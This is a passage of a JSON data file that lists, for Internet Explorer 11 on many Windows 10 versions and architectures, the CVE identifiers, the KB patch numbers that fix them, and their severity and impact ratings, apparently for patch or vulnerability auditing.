Code Execution"},{"cve":"CVE-2018-8631","kb":"4471330","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480975","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493451","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525246","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537814","severity":"Moderate","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1511 for 32-bit Systems":[{"cve":"CVE-2016-0189","kb":"3156421","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163018","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185614","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4013198","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041689","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041689","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048952","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053578","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025344","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034660","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088779","severity":"Important","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1511 for x64-based Systems":[{"cve":"CVE-2016-0189","kb":"3156421","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163018","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185614","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4013198","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041689","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041689","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048952","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053578","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025344","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034660","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088779","severity":"Important","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2016-3351","kb":"3189866","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4013429","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053579","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025339","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034658","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088787","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103723","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343887","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467691","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471321","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471321","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471321","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480961","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493470","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525236","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537764","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003197","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2016-3351","kb":"3189866","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4013429","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053579","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025339","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034658","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088787","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103723","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343887","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467691","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471321","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471321","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471321","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480961","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493470","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525236","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537764","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003197","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1703 for 32-bit Systems":[{"cve":"CVE-2017-11793","kb":"4041676","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041676","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053580","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025342","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088782","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103731","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343885","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343885","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467696","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471327","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471327","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471327","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480973","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493474","severity":"Important","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1703 for x64-based Systems":[{"cve":"CVE-2017-11793","kb":"4041676","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041676","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053580","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025342","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088782","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103731","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343885","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343885","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467696","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471327","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471327","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471327","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480973","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493474","severity":"Important","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1709 for 32-bit Systems":[{"cve":"CVE-2017-11855","kb":"4048955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4054517","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088776","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343897","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343897","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467686","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471329","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480978","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493441","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525241","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537789","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1709 for ARM64-based Systems":[{"cve":"CVE-2018-8552","kb":"4467686","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471329","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480978","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493441","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525241","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537789","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1709 for x64-based Systems":[{"cve":"CVE-2017-11855","kb":"4048955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4054517","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088776","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343897","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343897","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467686","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471329","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480978","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493441","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525241","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537789","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1803 for 32-bit Systems":[{"cve":"CVE-2018-8145","kb":"4103721","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343909","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343909","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471324","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471324","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471324","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480966","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493464","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525237","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003174","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1803 for ARM64-based Systems":[{"cve":"CVE-2018-8552","kb":"4467702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471324","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471324","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480966","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493464","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525237","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003174","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1803 for x64-based Systems":[{"cve":"CVE-2018-8145","kb":"4103721","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343909","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343909","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471324","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471324","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471324","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480966","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493464","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525237","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003174","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1809 for 32-bit Systems":[{"cve":"CVE-2018-8552","kb":"4467708","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471332","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480116","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493509","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4523205","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003171","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1809 for ARM64-based Systems":[{"cve":"CVE-2018-8552","kb":"4467708","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471332","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480116","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493509","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4523205","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003171","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1809 for x64-based Systems":[{"cve":"CVE-2018-8552","kb":"4467708","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471332","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480116","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493509","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4523205","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003171","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1903 for 32-bit Systems":[{"cve":"CVE-2019-1429","kb":"4524570","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532693","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1903 for ARM64-based Systems":[{"cve":"CVE-2019-1429","kb":"4524570","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532693","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1903 for x64-based Systems":[{"cve":"CVE-2019-1429","kb":"4524570","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532693","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1909 for 32-bit Systems":[{"cve":"CVE-2020-0674","kb":"4532693","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003169","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1909 for ARM64-based Systems":[{"cve":"CVE-2020-0674","kb":"4532693","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003169","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1909 for x64-based Systems":[{"cve":"CVE-2020-0674","kb":"4532693","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003169","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 2004 for 32-bit Systems":[{"cve":"CVE-2021-26419","kb":"5003173","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 2004 for ARM64-based Systems":[{"cve":"CVE-2021-26419","kb":"5003173","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 2004 for x64-based Systems":[{"cve":"CVE-2021-26419","kb":"5003173","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 20H2 for 32-bit Systems":[{"cve":"CVE-2021-26419","kb":"5003173","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 20H2 for ARM64-based Systems":[{"cve":"CVE-2021-26419","kb":"5003173","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 for 32-bit Systems":[{"cve":"CVE-2016-0189","kb":"3156387","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185611","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012606","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4042895","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4042895","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048956","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053581","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025338","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034668","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088786","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103716","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338829","severity":"Critical","impact":"Remote Code 